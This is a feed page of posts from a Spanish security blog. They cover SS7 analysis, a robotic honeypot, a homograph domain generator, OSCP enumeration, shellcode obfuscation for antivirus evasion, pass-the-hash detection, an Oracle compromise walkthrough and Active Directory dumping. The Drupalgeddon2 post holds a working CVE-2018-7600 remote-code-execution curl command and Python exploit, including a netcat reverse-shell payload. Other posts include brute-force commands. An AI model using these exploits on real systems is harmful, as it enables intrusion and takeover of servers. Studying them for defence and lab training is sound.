Quantcast
Channel: hackplayers
Viewing all 1668 articles
Browse latest View live

Análisis de ataques/vulnerabilidades SS7/Sigtran empleando Wireshark (y/o tshark) y Snort (por Alejandro Corletti de DarFe)

$
0
0
Recientemente hemos recibido un correo de la empresa DarFe para difundir gratuitamente y sin ánimo de lucro un estudio de Alejandro Corletti sobre el análisis de vulnerabilidades y ataques sobre SS7/Sigtran. Este artículo de casi setenta páginas, forma parte del trabajo de seguridad que viene realizando y difundiendo su autor desde hace más de veinte años y presenta una metodología para enfrentar este problema grave de señalización a nivel mundial y que necesariamente se extenderá al menos durante los próximos diez años.

Podríamos decir que en fechas cercanas a 2010, se ha empezado a escuchar que este sistema de señalización Número 7 (SS7) (verdadero corazón de toda la red mundial de voz y cierto tipo de datos) presenta serios problemas de seguridad.  La explotación de los mismos abre un abanico a todo tipo de ataques que en la actualidad ya se están ejecutando en varias operadoras telefónicas, robando dinero de cuentas bancarias, interceptando llamadas telefónicas, localizando la posición de teléfonos móviles, realizando diferentes tipos de fraudes en voz y navegación, ejecutando negaciones de servicio, etc.

Cabe mencionar que el "análisis de tráfico" es la ÚNICA metodología que tenemos para poder comprender y evaluar este tipo de anomalías en nuestros flujos de señalización, por esta razón es que el trabajo se basa en las herramientas Open Source: "Wireshark" y "Snort". No os lo perdáis:


Versión en inglés

HoneyBot, llegan los honeypots a la robótica

$
0
0
Un grupo de investigadores de Georgia Tech ha creado lo que sería un honeypot bastante especial: un robot destinado a detectar y analizar los ataques a sistemas SCADA. Llamado HoneyBot, el pequeño robot está diseñado para a los atacantes y hacerles creer que es un robot vulnerable que realiza importantes tareas de automatización industrial.

"Los Honeypots le dan a los profesionales de seguridad la capacidad de estudiar a los atacantes, determinar qué métodos están usando y descubrir dónde están o, incluso, quiénes son en realidad", dice Celine Irvene, una estudiante graduada de Georgia Tech que trabajó con el equipo detrás de HoneyBot.


A medida que industrias tan dispares como la alimentación, el transporte, procesos de fabricación, etc. acuden a la automatización, crece la preocupación de que agentes externos y malintencionados puedan interferir en su funcionamiento e incluso secuestrar robots o, lo que es peor, causar daños físicos a los seres humanos.

El año pasado, ya un grupo de hackers convirtió a un humanoide amistoso en un "killbot asesino". Hasta el momento, no ha habido grandes titulares en las noticias con este tipo de ataques, pero será cuestión de tiempo... "Muchos ciberataques quedan sin respuesta o impunes porque todavía existe cierto nivel de anonimato para los actores malintencionados en Internet, y es difícil para las empresas decir quién es el responsable", agrega Celine.

En las pruebas realizadas con voluntarios, los investigadores de Georgia Tech pudieron engañar con éxito a un grupo de voluntarios. Las pruebas fueron una afirmación importante de la eficacia de los honeyposts extendidos a la robótica. Aquí os dejamos un vídeo con una pequeña demo si queréis verlo en funcionamiento:

Fuente: This small robot lures hackers away from other robots

EvilURL v2.0: un generador de dominios unicode para ataques homográficos IDN

$
0
0
Los ataques homográficos en nombres de dominio internacionalizados (IDN) son aquellos en los que se registran nombres de dominio maliciosos que en apariencia son idénticos o muy similares a los que intentan suplantar. Se consiguen gracias a las similitudes de algunos caracteres de diferentes idiomas. Por ejemplo, los caracteres a, с, е, о, р, х, у son idénticos en la tabla UNICODE U+0430 (estándar de codificación para el español, inglés, etc.) y U+0061 (caracteres círilicos). El resultado a la hora de comparar dominios fraudulentos con los originales es inapreciable a la vista, lo cuál es un auténtico regalo para la industria del phishing.

Mediante la siguiente herramienta que os traemos hoy es posible generar fácilmente dominios maliciosos unicode para realizar ataques homográficos IDN y también detectarlos. Se trata de EvilURL escrita en Python por UndeadSec, sencilla pero muy útil:

git clone https://github.com/UndeadSec/EvilURL.git
cd EvilURL
python3 evilurl.py


Github: https://github.com/UndeadSec/EvilURL

Reconnoitre: herramienta de enumeración automática para el OSCP

$
0
0
Codingo, un pentester australiano destacado por mantener NoSQLMap, tiene una herramienta multiproceso muy útil para automatizar las fases iniciales de enumeración contra una máquina "boot2root", es decir, una máquina vulnerable de un lab tipo OSCP. De hecho, fue desarrollada precisamente como herramienta de reconocimiento para los laboratorios OSCP para automatizar la recopilación de información y la enumeración de servicios mientras se crea una estructura de directorios para almacenar los resultados, hallazgos y exploits utilizados para cada host, así como sugerencias de otros comandos para ejecutar y estructuras de directorios para almacenar imágenes, otros ficheros y flags.

Las dependencias son Python 2.7 con el módulo SimpleJson, nmap, snmpwalk y nbtscan, además de las típicas wordlists para hacer dir fuzzing.

Instalación

git clone https://github.com/NoorQureshi/Reconnoitre && cd Reconnoitre
cd reconnoitre
python reconnoitre.py -h
# python reconnoitre.py -h
usage: reconnoitre.py [-h] -t TARGET_HOSTS -o OUTPUT_DIRECTORY [-w WORDLIST]
                      [-p PORT] [--pingsweep] [--dns] [--services]
                      [--hostnames] [--snmp] [--quick] [--virtualhosts]
                      [--ignore-http-codes IGNORE_HTTP_CODES]
                      [--ignore-content-length IGNORE_CONTENT_LENGTH]
                      [--quiet] [--exec] [--simple_exec]

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_HOSTS       Set a target range of addresses to target. Ex
                        10.11.1.1-255
  -o OUTPUT_DIRECTORY   Set the output directory. Ex /root/Documents/labs/
  -w WORDLIST           Set the wordlist to use for generated commands. Ex
                        /usr/share/wordlist.txt
  -p PORT               Set the port to use. Leave blank to use discovered
                        ports. Useful to force virtual host scanning on non-
                        standard webserver ports.
  --pingsweep           Write a new target.txt by performing a ping sweep and
                        discovering live hosts.
  --dns                 Find DNS servers from a list of targets.
  --services            Perform service scan over targets.
  --hostnames           Attempt to discover target hostnames and write to
                        0-name.txt and hostnames.txt.
  --snmp                Perform service scan over targets.
  --quick               Move to the next target after performing a quick scan
                        and writing first-round recommendations.
  --virtualhosts        Attempt to discover virtual hosts using the specified
                        wordlist.
  --ignore-http-codes IGNORE_HTTP_CODES
                        Comma separated list of http codes to ignore with
                        virtual host scans.
  --ignore-content-length IGNORE_CONTENT_LENGTH
                        Ignore content lengths of specificed amount. This may
                        become useful when a server returns a static page on
                        every virtual host guess.
  --quiet               Supress banner and headers to limit to comma dilimeted
                        results only.
  --exec                Execute shell comamnds from recommendations as they
                        are discovered. Likely to lead to very long execute
                        times depending on the wordlist being used.
  --simple_exec         Execute non-brute forcing shell comamnds only as they
                        are discovered.

Ejemplos de uso

Descubrir los hosts vivos y hostnames dentro de un rango:

# python ./reconnoitre.py -t 10.10.10.1-254 -o /root/Documents/labs/ --pingsweep --hostnames

Descubrir los hosts vivos y hostnames dentro de un rango y hacer un reconocimiento rápido de los servicios:

# python ./reconnoitre.py -t 10.10.10.1-254 -o /root/Documents/labs/ --pingsweep --services --quick

Descubrir los hosts vivos y hostnames dentro de un rango y probar todos los puertos (TCP y UDP):

# python ./reconnoitre.py -t 10.10.10.1-254 -o /root/Documents/labs/ --pingsweep --services

Escanear un único host, crear una estructura de ficheros y descubrir servicios:

# python ./reconnoitre.py -t 192.168.1.5 -o /root/Documents/labs/ --services
  __
|"""\-=  RECONNOITRE
(____)      An OSCP scanner

[#] Performing service scans
[*] Loaded single target: 192.168.1.5
[+] Creating directory structure for 192.168.1.5
   [>] Creating scans directory at: /root/Documents/labs/192.168.1.5/scans
   [>] Creating exploit directory at: /root/Documents/labs/192.168.1.5/exploit
   [>] Creating loot directory at: /root/Documents/labs/192.168.1.5/loot
   [>] Creating proof file at: /root/Documents/labs/192.168.1.5/proof.txt
[+] Starting quick nmap scan for 192.168.1.5
[+] Writing findings for 192.168.1.5
   [>] Found HTTP service on 192.168.1.5:80
   [>] Found MS SMB service on 192.168.1.5:445
   [>] Found RDP service on 192.168.1.5:3389
[*] TCP quick scan completed for 192.168.1.5
[+] Starting detailed TCP/UDP nmap scans for 192.168.1.5
[+] Writing findings for 192.168.1.5
   [>] Found MS SMB service on 192.168.1.5:445
   [>] Found RDP service on 192.168.1.5:3389
   [>] Found HTTP service on 192.168.1.5:80
[*] TCP/UDP Nmap scans completed for 192.168.1.5

Que también escribe el siguiente archivo de recomendaciones en la carpeta de escaneos para cada objetivo:
[*] Found HTTP service on 192.168.1.50:80
   [>] Use nikto & dirb / dirbuster for service enumeration, e.g
      [=] nikto -h 192.168.1.50 -p 80 > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_nikto.txt
      [=] dirb http://192.168.1.50:80/ -o /root/Documents/labs/192.168.1.50/scans/192.168.1.50_dirb.txt -r -S -x ./dirb-extensions/php.ext
      [=] java -jar /usr/share/dirbuster/DirBuster-1.0-RC1.jar -H -l /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -r /root/Documents/labs/192.168.1.50/scans/192.168.1.50_dirbuster.txt -u http://192.168.1.50:80/
      [=] gobuster -w /usr/share/seclists/Discovery/Web_Content/common.txt -u http://192.168.1.50:80/ -s '200,204,301,302,307,403,500' -e > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_gobuster_common.txt -t 50
      [=] gobuster -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -u http://192.168.1.50:80/ -s '200,204,301,307,403,500' -e > /root/Documents/labs/192.168.1.50/scans/192.168.1.50_gobuster_cgis.txt -t 50
   [>] Use curl to retreive web headers and find host information, e.g
      [=] curl -i 192.168.1.50
      [=] curl -i 192.168.1.50/robots.txt -s | html2text
[*] Found MS SMB service on 192.168.1.5:445
   [>] Use nmap scripts or enum4linux for further enumeration, e.g
      [=] nmap -sV -Pn -vv -p445 --script="smb-* -oN '/root/Documents/labs/192.168.1.5/nmap/192.168.1.5_smb.nmap' -oX '/root/Documents/labs/192.168.1.5/scans/192.168.1.5_smb_nmap_scan_import.xml' 192.168.1.5
      [=] enum4linux 192.168.1.5
[*] Found RDP service on 192.168.1.5:3389
   [>] Use ncrackpassword cracking, e.g
      [=] ncrack -vv --user administrator -P /root/rockyou.txt rdp://192.168.1.5

Fuente: https://github.com/codingo/Reconnoitre

OWASP ZSC - Shellcode/Obfuscate Code Generator

$
0
0
Ya sabéis que normalmente se utilizan distintas técnicas para eludir los antivirus y cargar archivos maliciosos en sistemas comprometidos utilizando generadores de shellcode personalizados (stubs propios). Por otro lado, el antivirus basa parte de sus capacidades de detección en firmas para identificar malware y cuando se utilizan crypters o encoders muy conocidos, como msfvenom, los archivos generados son fácilmente identificados.

OWASP ZSC es un software de código abierto escrito en Python que permite generar shellcodes personalizados y ofuscar los scripts usando distintos tipos de codificación de forma aleatoria, es decir, no se obtendrá el mismo shellcode aunque se utilice el mismo comando para generarlo, lo que posibilitará bypassear muchos sistemas antivirus. Además se puede ejecutar en Windows/Linux/OSX con Python lo que le hace verdaderamente interesante.
Demo (debugging final0 challenge Protostar):
    asciicast

    Ketshash: detectando ataques Pass-The-Hash mediante el visor de eventos

    $
    0
    0
    Seguro que ya conocéis Pass-The-Hash (PTH), una técnica que permite a un atacante iniciar el movimiento lateral en la red a través del protocolo NTLM, sin la necesidad de la contraseña del usuario. 

    Windows almacena diferentes tipos de valores hash, derivados de la contraseña del usuario, para permitir el acceso a diferentes servicios sin la necesidad de volver a ingresar la contraseña. Uno de esos tipos de hash es un hash MD4 de la contraseña también conocido como NTLM hash.

    El protocolo NTLM utiliza el hash NT para la autenticación y no hace un 'salt' de la contraseña, lo que a su vez significa que si uno toma el valor del hash, la autenticación se puede realizar sin conocer la contraseña real.

    Cuando se lleva a cabo una conexión NTLM se registrará en la máquina destino un Evento con ID 4624 ("Una cuenta inició sesión correctamente") con Logon Type 3 ("Un usuario o computadora inició sesión en esta computadora desde la red") y Authentication Package NTLM (o por nombre de proceso de logon NtLmSsp):


    Un atacante por lo tanto puede autenticarse sin una contraseña pasando el hash. Para ello tendrá dos opciones:

    - Inyectar el hash en LSASS.exe y abrir sesión con el hash inyectado.
    - Implementar parte del protocolo NTLM para la autenticación con el hash y enviar comandos a través de la red con protocolos como SMB, WMI, etc.

    La principal diferencia entre pasar el hash a una conexión NTLM legítima es el uso de una contraseña. La búsqueda de inicios de sesión de usuarios legítimos, donde se usó la contraseña antes de la conexión NTLM, puede ayudar a filtrar todos los inicios de sesión legítimos y dejar solo el inicio de sesión sospechoso.

    Conexiones legítimas desde el visor de eventos

    El visor de eventos contiene una cantidad de registros que indican inicios de sesión interactivos:

         4768 - Se solicitó un ticket de autenticación de Kerberos (TGT)
         4769 - Se solicitó un ticket de servicio Kerberos (TGS)
         4648 - Se intentó un inicio de sesión utilizando credenciales explícitas
         4624 - Se inició sesión correctamente en una cuenta

    Tipos de inicio de sesión: 2 (Interactivo), 7 (Desbloqueo), 10 (RemoteInteractive) o 11 (CachedInteractive).

    Comprobar que cada conexión NTLM tenía un inicio de sesión interactivo con la misma cuenta antes de la conexión, basándose en los registros anteriores, puede ayudar a distinguir entre un atacante que usa el hash y un usuario normal que usa la contraseña.

    Algunas conexiones NTLM son más arriesgadas que otras

    Un inicio de sesión creado a través de una conexión NTLM con una cuenta sin privilegios es menos arriesgada que una con una cuenta con privilegios. Por ejemplo, Event ID 4672 ("Privilegios especiales asignados al nuevo inicio de sesión") nos permite saber cuándo se inicia sesión con una cuenta con privilegios. Al crear la correlación entre la conexión NTLM y el evento ID 4672, se filtrarán todas las conexiones NTLM privilegiadas que pueden realizar cambios en la computadora de destino, como se ve en la siguiente imagen:


    Detectando Pass-The-Hash

    Al unir todas las piezas, podemos buscar conexiones NTLM privilegiadas y verificar si tenían un inicio de sesión legítimo antes de la conexión NTLM al correlacionar con identificadores de eventos buenos conocidos. Para facilitar la tarea, la empresa israelí CyberArk ha creado la herramienta Ketshash que automatiza la detección de conexiones NTLM con privilegios sospechosos, en particular ataques Pass-The-Hash, en función de los registros del visor de eventos.

    En el siguiente vídeo se muestra cómo este enfoque (con la ayuda de Ketshash) es eficaz para detectar los ataques de PTH utilizados por PTH-winexe, Mimikatz, WCE e Invoke-SMBClient:

    Requisitos:

    Cuenta con los siguientes privilegios:

    - Acceso a registros de eventos de seguridad de máquinas remotas
    - Permisos de lectura de ActiveDirectory (cuenta de dominio estándar)
    - Computadoras sincronizadas con el mismo tiempo, de lo contrario puede afectar los resultados
    - PowerShell 2.0 como mínimo

    Uso

    Hay dos opciones:

    - Uso Básico

    Abre PowerShell y ejecuta:

    Import-Module. \ Ketshash.ps1 o copiar y pegar el contenido de Ketshash.ps1 a la sesión de PowerShell
    Invoke-DetectPTH <argumentos>

    - Ketshash Runner

    Hay que asegurse de que Ketshash.ps1 esté en el mismo directorio de KetshashRunner.exe
    Haz doble clic en KetshashRunner.exe, cambia la configuración si es necesario y presiona Ejecutar



    Invoke-DetectPTH

    • TargetComputers: array de equipos destino para detectar conexiones NTLM.
    • TargetComputersFile: ruta al archivo con una lista de equipos de destino para detectar conexiones NTLM.
    • StartTime - Hora en que comienza la detección. El valor predeterminado es la hora actual.
    • UseKerberosCheck - Comprueba el inicio de sesión de TGT\TGS en los DC de la organización. El valor predeterminado es buscar el inicio de sesión legítimo en la máquina fuente. De todos modos, con o sin este parámetro todavía hay una consulta para el evento ID 4648 en la máquina de origen.
    • UseNewCredentialsCheck - Comprueba los eventos de inicio de sesión con el tipo de inicio de sesión 9 (como Mimikatz). Esto es opcional, el algoritmo por defecto ya lo cubre. Existe solo para mostrar otra opción para detectar conexiones NTLM sospechosas. En las versiones de Windows 10 y Server 2016, se debe habilitar "Microsoft-Windows-LSA / Operational" en el visor de eventos. En Windows 10 y Server 2016, habilitar la "auditoría de objetos del kernel" proporcionará información más precisa, como escribir en LSASS.
    • LogFile - Ruta del archivo de registro para guardar los resultados.
    • MaxHoursOfLegitLogonPriorToNTLMEvent: cuántas horas hay que mirar hacia atrás y buscar un inicio de sesión legítimo desde el momento del evento NTLM. El valor predeterminado es de 2 horas hacia atrás.
    Ejemplo (recomendado):
    Invoke-DetectPTH -TargetComputers "MARS-7" -LogFile "C:\tmp\log.txt"

    Ejemplo:
    Invoke-DetectPTH -TargetComputers "ComputerName" -StartTime ([datetime]"2017-12-14 12:50:00 PM") -LogFile "C:\tmp\log.txt" -UseKerberosCheck -UseNewCredentialsCheck



    Debugging

    Debido a que utiliza threads, no es posible depurar el bloque de script de la función principal. Una solución alternativa puede ser utilizando Invoke-Command antes de Detect-PTHMultithreaded:

    Invoke-Command -ScriptBlock $detectPTHScriptBlock -ArgumentList $TargetComputers, $startTime, $LogFile, $UseKerberosCheck, $UseNewCredentialsCheck, $MaxHoursOfLegitLogonPriorToNTLMEvent`

    Detectar sólo un equipo destino:
    Invoke-DetectPTH -TargetComputers "" ...

    Cambia $TargetComputer a una [string] en lugar de un [array]. De esta forma es posible utilizar breakpoints dentro del bloque de scripts de la función principal.

    Proyecto: https://github.com/cyberark/ketshash

    La herramienta se publicó como parte de la investigación "Detección de Pass-The-Hash", tienes más detalle en:
    https://www.cyberark.com/threat-research-blog/detecting-pass-the-hash-with-windows-event-viewer

    La investigación completa se puede encontrar en el whitepaper:
    https://www.cyberark.com/resource/pass-hash-detection-using-windows-events/

    Vulnerando una base de datos Oracle 10g: de cero hasta conseguir una shell

    $
    0
    0
    En noviembre de 2015 Alexander Dmitrenko publicó un vídeo que todavía es muy recomendable de ver, sobretodo si tienes entre manos realizar un pentest o auditar una base de datos Oracle. En concreto la base de datos comprometida es una Oracle 10g y os animo a echar un vistazo a cada uno de los pasos para comprobar cómo es posible llegar incluso hasta obtener una shell en el servidor: 

    - (1:32) Escaneo e identificación del puerto 1521/TCP con nmap
    - (2:09) Obtención del SID de la base de datos (por fuerza bruta) por medio del módulo auxiliary/admin/oracle/sid_brute de Metasploit
    - (5:08) Obtención de las credenciales también mediante fuerza bruta usando el módulo auxiliary/scanner/oracle/oracle_login
    - (7:32) Comprobación de credenciales y obtención de dba_users (cliente sqlplus)
    - (10:34) Comprobación del módulo DBMSSCHEDULER con ODAT (herramienta de ataque para base de datos Oracle)
    - (11:10) Preparación de payload para shell reversa con msfvenom
    - (11:50) Subida del binario mediante la librería DBMSSCHEDULER con la herramienta ODAT
    - (12:44) Preparación del handler de Metasploit
    - (13:15) Ejecución del archivo con el mismo método mediante ODAT
    - (13:24) Obtención de shell reversa

    ¡Llega #Drupalgeddon2! RCE inyectando en arrays renderizables

    $
    0
    0
    Allá por el año 2014 se descubrió un SQLi en Drupal tan grave que en cuestión de horas permitió automatizar ataques que comprometieron a cientos o quizás miles de servidores vulnerables. Fue lo que se denominó Drupalgeddon y continuó explotándose incluso dos años después de su descubrimiento.... Pues bien, segundas partes nunca fueron buenas y hace dos semanas se avisó de la existencia de otra vulnerabilidad crítica en Drupal (con una puntuación de 21 sobre 25 en el ranking del NIST) que fue bautizada como su sucesora: Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600).

    Si bien inicialmente no se conocía demasiado sobre esta nueva vulnerabilidad, Checkpoint publicó el detalle recientemente y ya tenemos los primeros exploits disponibles que permiten la ejecución remota de código incluso sin autenticación y en todas las versiones de Drupal de la 6 a la 8, excepto las últimas de cada release que precisamente se publicaron para corregir este fallo: son vulnerables los Drupal anteriores a 7.58, 8.x anteriores a 8.3.9, 8.4.x anteriores a 8.4.6 y 8.5.x anteriores a 8.5.1.

    El problema radica fundamentalmente en la inadecuada sanitización de las solicitudes AJAX de Form API (FAPI) que pueden permitir a un atacante inyectar potencialmente una carga maliciosa en la estructura de un formulario interno.

    Aunque se introdujo en la versión 6 no fue hasta la versión 7 cuando se generalizó este API para los formularios con "arrays renderizados".  Esta API extendida se usa para representar la estructura de la mayoría de los elementos de la interfaz de usuario en Drupal, como páginas, bloques, nodos y demás. Los arrays renderizables contienen metadatos que se usan en el proceso de renderizado. Estos arrays renderizables son una estructura de clave-valor en los que las claves de propiedad comienzan con un signo de almohadilla (#), por ejemplo:

    [
    ‘#type’ => ‘markup’,
    ‘#markup’ => ‘some text’,
    ‘#prefix’ => ‘
    ’,
    ‘#suffix’ => ‘

    ]

    Como vector de ataque tenemos por defecto algunos formularios disponibles como el de registro de usuario:


    En la estructura de dicho formulario se inyecta una array renderizable y por ejemplo el campo “Email address” no sanitiza la entrada que recibe.




    Cuando un usuario rellena el formulario AJAX, se realizará una solicitud a Drupal para renderizar el markup HTML y actualizar el formulario. Si por ejemplo se sube una imagen, el servidor cargará o remplazará la miniatura correspondiente y para ello en el callback mandará una petición GET para ver la parte del formulario que necesita actualizarse en el cliente.
     
    En conclusión, todo lo que había que hacer era inyectar en un array de renderización malicioso que utilizara una devolución de llamada o callback de representación de Drupal para ejecutar código en el sistema. Y este es el resultado:

    curl --data 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id''http://192.168.1.64/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'

    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

    Cómo véis, con una simple petición con curl conseguimos ejecutar código en el servidor. En ese caso se inyecta en la propiedad #post_render y se utiliza la función de php passthru, pero podemos cargar el payload con lo que se nos ocurra: exec, check, system u otros comandos para conseguir obtener información o incluso una shell reversa como con este script de a2u y nixawk:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-

    # CVE-2018-7600
    # Drupal: Unsanitized requests allow remote attackers to execute arbitrary code

    """Tested against Drupal 8.4.5

    $ wget -c https://ftp.drupal.org/files/projects/drupal-8.4.5.tar.gz
    $ setup Apache2 + Mysql + Drupal
    $ python exploit-CVE-2018-7600.py

    POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
    Host: 127.0.0.1
    User-Agent: python-requests/2.18.4
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive
    Content-Length: 167
    Content-Type: application/x-www-form-urlencoded

    form_id=user_register_form&_drupal_ajax=1&mail%5B%23type%5D=markup&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23markup%5D=nohup+nc+-e+%2Fbin%2Fbash+127.0.0.1+4444+%26HTTP/1.1 200 OK
    Date: Fri, 13 Apr 2018 02:45:34 GMT
    Server: Apache/2.4.29 (Debian)
    Cache-Control: must-revalidate, no-cache, private
    X-UA-Compatible: IE=edge
    Content-language: en
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    Expires: Sun, 19 Nov 1978 05:00:00 GMT
    X-Generator: Drupal 8 (https://www.drupal.org)
    X-Drupal-Ajax-Token: 1
    Content-Length: 156
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: application/json

    [{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]

    """

    # sudo pip install requests


    from __future__ import print_function

    __all__ = ['exploit']
    __author__ = [
        'a2u',   # module developer
        'Nixawk' # module Improved
    ]

    import sys
    import requests


    def exploit(drupal_home_url, cmd):
        """Exploit CVE-2018-7600 drupal: Unsanitized requests allow remote attackers to execute arbitrary code
        """

        # url += 'user/register'  # Clean URLs - Enabled
       
        params = {
            'element_parents': 'account/mail/#value',
            'ajax_form': 1,
            '_wrapper_format': 'drupal_ajax'
        }

        payload = {
            'form_id': 'user_register_form',
            '_drupal_ajax': '1',
            'mail[#type]': 'markup',
            'mail[#post_render][]': 'exec',
            'mail[#markup]': cmd
        }

        resp = requests.post(
            # url,
            requests.compat.urljoin(drupal_home_url, '/user/register'),
            params=params, data=payload)
        # print(resp.status_code)

        if resp.status_code != 200:
            sys.exit("Not exploitable")


    if __name__ == "__main__":
        if len(sys.argv) != 3:
            print("Usage: python %s <drupal-home-url> <cmd>" % sys.argv[0])
            sys.exit(0)

        exploit(sys.argv[1], sys.argv[2])


    ## References
    # https://research.checkpoint.com/uncovering-drupalgeddon-2/
    # http://www.securityfocus.com/bid/103534
    # http://www.securitytracker.com/id/1040598
    # https://blog.appsecco.com/remote-code-execution-with-drupal-core-sa-core-2018-002-95e6ecc0c714
    # https://github.com/a2u/CVE-2018-7600
    # https://github.com/g0rx/CVE-2018-7600-Drupal-RCE
    # https://greysec.net/showthread.php?tid=2912&pid=10561
    # https://groups.drupal.org/security/faq-2018-002
    # https://lists.debian.org/debian-lts-announce/2018/03/msg00028.html
    # https://twitter.com/arancaytar/status/979090719003627521
    # https://twitter.com/RicterZ/status/979567469726613504
    # https://www.debian.org/security/2018/dsa-4156
    # https://www.drupal.org/sa-core-2018-002
    # https://www.synology.com/support/security/Synology_SA_18_17
    # https://www.tenable.com/blog/critical-drupal-core-vulnerability-what-you-need-to-know
    # https://gist.github.com/AlbinoDrought/626c07ee96bae21cb174003c9c710384


    Otros scripts ya publicados y referencias:

    - https://github.com/a2u/CVE-2018-7600
    - https://www.exploit-db.com/exploits/44448/
    - https://github.com/dreadlocked/Drupalgeddon2
    - https://www.exploit-db.com/exploits/44449/
    - https://research.checkpoint.com/uncovering-drupalgeddon-2/
    - https://0day.asia/drupal-remote-code-execution-exploit
     

    Repositorio de writeups de HackTheBox

    $
    0
    0
    Muchas veces en pentesting hay varias formas distintas de obtener una shell o de elevar privilegios, ya sea porque se utilizan distintos exploits, herramientas, comandos o incluso técnicas. Y no nos conformamos con conocer sólo un camino, queremos saber qué podríamos haber hecho mejor o simplemente distinto.


    Es por eso que hemos creado un repositorio en Github para que todos los que queráis podáis compartir vuestros writeups o solucionarios de máquinas de HackTheBox y leer los de los demás. Ya sean de máquinas retiradas o máquinas activas... pero eso sí... los writeups de máquinas activas sólo podrán abrirse con la flag de root correspondiente, así que no te valdrán si no has hecho la máquina previamente. ¡Nada de spoilers!

    Así que si quieres añadir tus propios writeups, notas, scripts u otro material para resolver las máquinas, puedes hacerlo a través de un 'pull request'o enviándonos un correo electrónico a: hackplayers_at_Ymail.com (contacto). De esta forma, se agregará tu profile a nuestra lista de contribuyentes y también recibirás un enlace de invitación a un grupo exclusivo de Telegram donde se comparten hints y metodologías para solucionar los "boot2root" de HacktheBox. Eso sí, el requisito mínimo para ingresar al grupo "especial" de Telegram es también tener un nivel de hacker o superior (no script kiddies).

    https://github.com/Hackplayers/hackthebox-writeups

    "Seguir un sólo camino es retroceder". - Ígor Fiódorovich Stravinsk

    Extrayendo info del Directorio Activo... en Go! (goddi)

    $
    0
    0
    goddi (go dump domain info) es una herramienta escrita en Go que funciona tanto en Windows como en Linux y sirve para la obtención de información de directorio activo: extrae usuarios de dominio, grupos, controladores de dominio, etc. y lo vuelca a CSV.

    Permite conexiones StartTLS y TLS (tls.Client func), estas últimas de forma predeterminada. Todos los resultados se van dejando en /csv/ en el directorio de trabajo actual. La información que recopila es la siguiente:

    - Usuarios del dominio. También busca palabras clave en Description y escribe la información en un csv por separado.
    - Usuarios en grupos de usuarios privados (DA, EA, FA).
    - Los usuarios con contraseñas que no expiran.
    - Cuentas de usuario que se han bloqueado o deshabilitado.
    - Cuentas de máquina con contraseñas de más de 45 días.
    - Equipos de dominio.
    - Controladores de dominio.
    - Sitios y subredes.
    - SPN e incluye un flag en el csv si es domain admin
    - Relaciones de confianza del dominio.
    - Grupos de dominio.
    - OU de dominio.
    - Política de cuentas del dominio.
    - Usuarios delegados del dominio.
    - GPO de dominio.
    - Roles de dominio FSMO.
    - Contraseñas LAPS.
    - Contraseñas GPP. En Windows, se establece el mapeo Q por defecto. Si se usa, se intentará con otro mapping hasta que lo consiga R, S, etc. ... En Linux, se utiliza /mnt/goddi.

    Instalación

    Usa los ejecutables en la sección de releases. Si quieres compilarlo tu mismo, asegúrate de que el entorno go esté configurado de acuerdo con el documento de configuración correspondiente. Goddi también usa el siguiente paquete.

    go get gopkg.in/ldap.v2

    Windows

    Probado en Windows 10 y 8.1 (go1.10 windows/amd64).

    Linux

    Probado en Kali Linux (go1.10 linux/amd64).

    Se debe instalar umount, mount y cifs-utils para mapear un recurso compartido para GetGPP:

    apt-get update
    apt-get install -y mount cifs-utils

    Asegúrate de que no haya nada montado en /mnt/goddi y de ejecutarlo con sudo.

    Uso

    Cuando se ejecuta, usará TLS (tls.Client method) de forma predeterminada sobre 636. En Linux, hay que asegurarse de ejecutarlo con sudo.

    - username: usuario objetivo. Parámetro requerido.
    - password: contraseña del usuario de destino. Parámetro requerido.
    - domain: nombre de dominio completo. Parámetro requerido.
    - dc: DC al objetivo. Puede ser una IP o un nombre de host completo. Parámetro requerido.
    - startTLS: se usa para StartTLS sobre 386.
    - unsafe: para una conexión de texto claro.

    PS C:\Users\Administrator\Desktop> .\godditest-windows-amd64.exe -username=testuser -password="testpass!" -domain="test.local" -dc="dc.test.local" -unsafe
    [i] Begin PLAINTEXT LDAP connection to 'dc.test.local'...
    [i] PLAINTEXT LDAP connection to 'dc.test.local' successful...
    [i] Begin BIND...
    [i] BIND with 'testuser' successful...
    [i] Begin dump domain info...
    [i] Domain Trusts: 1 found
    [i] Domain Controllers: 1 found
    [i] Users: 12 found
            [*] Warning: keyword 'pass' found!
            [*] Warning: keyword 'fall' found!
    [i] Domain Admins: 4 users found
    [i] Enterprise Admins: 1 users found
    [i] Forest Admins: 0 users found
    [i] Locked Users: 0 found
    [i] Disabled Users: 2 found
    [i] Groups: 45 found
    [i] Domain Sites: 1 found
    [i] Domain Subnets: 0 found
    [i] Domain Computers: 17 found
    [i] Deligated Users: 0 found
    [i] Users with passwords not set to expire: 6 found
    [i] Machine Accounts with passwords older than 45 days: 18 found
    [i] Domain OUs: 8 found
    [i] Domain Account Policy found
    [i] Domain GPOs: 7 found
    [i] FSMO Roles: 3 found
    [i] SPNs: 122 found
    [i] LAPS passwords: 0 found
    [i] GPP enumeration starting. This can take a bit...
    [i] GPP passwords: 7 found
    [i] CSVs written to 'csv' directory in C:\Users\Administrator\Desktop
    [i] Execution took 1.4217256s...
    [i] Exiting...


    Fuente: Dumping Active Directory Domain Info – in Go!
    Proyecto: https://github.com/NetSPI/goddi

